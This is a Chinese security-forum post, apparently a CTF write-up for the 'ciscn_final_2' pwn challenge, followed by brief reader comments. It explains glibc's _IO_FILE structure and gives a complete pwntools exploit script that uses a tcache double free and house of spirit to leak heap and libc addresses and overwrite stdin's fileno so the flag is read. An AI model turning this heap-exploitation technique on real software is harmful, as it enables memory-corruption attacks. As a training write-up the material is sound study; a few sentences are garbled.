用户
搜索
  • TA的每日心情
    奋斗
    2 小时前
  • 签到天数: 75 天

    连续签到: 73 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    3

    主题

    8

    帖子

    1226

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-8-20

    i春秋签约作者春秋文阁

    发表于 2021-1-26 23:00:34 67586

    先来了解一下 linux 的 file 文件结构,fileno 等概念。

    _IO_FILE 结构

    FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr,分别对应文件描述符:0、1、2。后续再打开文件对应的文件描述符就从 3 开始,当然可以用 dup2 修改。

    每个文件流都有自己的 FILE 结构体。结构体内容如下:

    struct _IO_FILE {
      int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;   /* Current read pointer */
      char* _IO_read_end;   /* End of get area. */
      char* _IO_read_base;  /* Start of putback+get area. */
      char* _IO_write_base; /* Start of put area. */
      char* _IO_write_ptr;  /* Current put pointer. */
      char* _IO_write_end;  /* End of put area. */
      char* _IO_buf_base;   /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
    #if 0
      int _blksize;
    #else
      int _flags2;
    #endif
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    
    #define __HAVE_COLUMN /* temporary */
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      /*  char* _save_gptr;  char* _save_egptr; */
    
      _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };

    在 ida 中搜索 _IO_2_1_stdxxx_ 或者 stdxx 可以找到默认打开的三个文件描述符 FILE 结构体存储地址:

    image-20201210083553060

    gdb 调试中查看结构体内容:

    image-20201210083345062

    _fileno 是当前文件流的文件描述符,上图是 stderr 对应就是 2 。

    我们知道 stdin 文件描述符是 0 ,如果我们将 stdin 的 fileno 修改为 2 ,那么 stdin 就变成了 stderr 。

    实战练习

    基本情况

    原题环境是在 ubuntu18.04 旧版本 glibc ,也就是允许 tcache doublefree ,注意检查 glibc 版本。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

    在初始化函数中,打开 flag 的文件流,紧接着用 dup2 将原本文件描述符从 3 修改为 666 。

    unsigned __int64 init()
    {
    ……
      fd = open("flag", 0);
      if ( fd == -1 )
      {
        puts("no such file :flag");
        exit(-1);
      }
      dup2(fd, 666);                                // 改变文件描述符
      close(fd);
    ……
    }

    堆申请有两种大小:0x20、0x30 ,数量没有限制。结构体如下:

    struct int{
      int num;
      int num;
    }
    struct short_int{
        short num;
      short num;
    }

    free 堆后没有将指针指令,造成 UAF 漏洞,还有一点就是 doublefree 需要处理 bool 这个全局变量:

    unsigned __int64 delete()
    {
    ……
      if ( bool )
      {
        printf("TYPE:\n1: int\n2: short int\n>");
        v1 = get_atoi();
        if ( v1 == 1 && int_pt )
        {
          free(int_pt);
          bool = 0;
          puts("remove success !");                 // UAF
        }
        if ( v1 == 2 && short_pt )
        {
          free(short_pt);
          bool = 0;
          puts("remove success !");
        }
    ……
    }

    show 函数限制使用 3 次,还需要注意输出长度问题,也就是用于泄露地址时并不是完整的地址:

    unsigned __int64 show()
    {
    ……
      if ( show_time-- )//show_time=3
    ……
    }

    exit 函数有一段输出功能:

    void __noreturn bye_bye()
    {
      ……
      __isoc99_scanf("%99s", v0);
      ……
    }

    思路

    利用 exit 时 scanf 输出函数,就 stdin 的文件描述符修改为 666 ,那么输出就变成输出,将 flag 内容给输出出来。

    1. ,并

    double free tcache 泄露堆地址:

    # leak heap address
    add(1,0x30)
    delete(1)
    add(2,0x20)
    delete(2)
    add(1,0x30)
    delete(2)
    heap_base = show(2)-0x290
    log.info("heap_base:"+hex(heap_base))

    修改 chunk0 size :

    # house of spirt
    add(2, heap_base+0x250)
    add(2, heap_base+0x250)
    # overwrite chunk0 size to 0x91
    add(2, 0x91)

    多次释放 chunk0 最后放入 unsortedbin 泄露 libc 地址:

    # leak libc address
    # double free chunk0 into unsortedbin 
    for i in range(0, 7):
        delete(1)
        add(2, 0x20)
    delete(1)
    
    leak_addr = show(1) - 96
    libc_base = leak_addr - libc.sym['__malloc_hook'] - 0x10

    修改 stdin 的 fileno 为 666 :

    # write tcache fd 
    add(1, stdin_fileno)
    
    # house of sprit
    add(1, 0x30) 
    delete(1)
    add(2, 0x20)
    delete(1)
    heap_base = show(1) - 0x290
    log.info("heap_base:"+hex(heap_base))
    add(1, heap_base+0x260)
    add(1, heap_base+0x260)
    add(1, 231)
    add(1, 666)

    EXP

    from pwn import *
    context(binary="./ciscn_final_2",log_level='debug')
    p = process("./ciscn_final_2", env={"LD_PRELOAD":"libc-2.27.so"})
    elf = ELF("./ciscn_final_2")
    libc = ELF("libc-2.27.so")
    
    def add(type, num):
        p.sendlineafter('> ', '1')
        p.sendlineafter('>', str(type))
        p.sendafter(':', str(num))
    
    def delete(type):
        p.sendlineafter('> ', '2')
        p.sendlineafter('>', str(type))
    
    def show(type):
        p.sendlineafter('> ', '3')
        p.sendlineafter('>', str(type))
        if type == 1:
            p.recvuntil(':')
        elif type == 2:
            p.recvuntil(':')
        return int(p.recvuntil('\n', drop=True))
    
    # leak heap address
    add(1,0x30)
    delete(1)
    add(2,0x20)
    delete(2)
    add(1,0x30)
    delete(2)
    heap_base = show(2)-0x290
    log.info("heap_base:"+hex(heap_base))
    
    # house of spirt
    add(2, heap_base+0x250)
    add(2, heap_base+0x250)
    # overwrite chunk0 size to 0x91
    add(2, 0x91)
    
    # leak libc address
    # double free chunk0 into unsortedbin 
    for i in range(0, 7):
        delete(1)
        add(2, 0x20)
    delete(1)
    
    leak_addr = show(1) - 96
    libc_base = leak_addr - libc.sym['__malloc_hook'] - 0x10
    log.info("libc_base:"+hex(libc_base))
    stdin_fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70
    log.info("stdin_fileno:"+hex(stdin_fileno))
    
    # write tcache fd 
    add(1, stdin_fileno)
    
    # house of sprit
    add(1, 0x30) 
    delete(1)
    add(2, 0x20)
    delete(1)
    heap_base = show(1) - 0x290
    log.info("heap_base:"+hex(heap_base))
    add(1, heap_base+0x260)
    add(1, heap_base+0x260)
    add(1, 231)
    add(1, 666)
    
    p.sendlineafter('> ', '4')
    
    p.interactive()
    https://www.mrskye.cn/
    发表于 2021-1-27 10:20:49
    顶靓仔!
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    膜拜大佬!
    使用道具 举报 回复
    发表于 2021-1-27 14:19:11
    感谢分享
    使用道具 举报 回复
    发表于 2021-1-27 14:19:24
    表哥强!
    使用道具 举报 回复
    发表于 2021-1-27 22:31:17
    学习了
    使用道具 举报 回复
    发表于 2021-2-23 15:24:57
    是否有一稿多投?
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册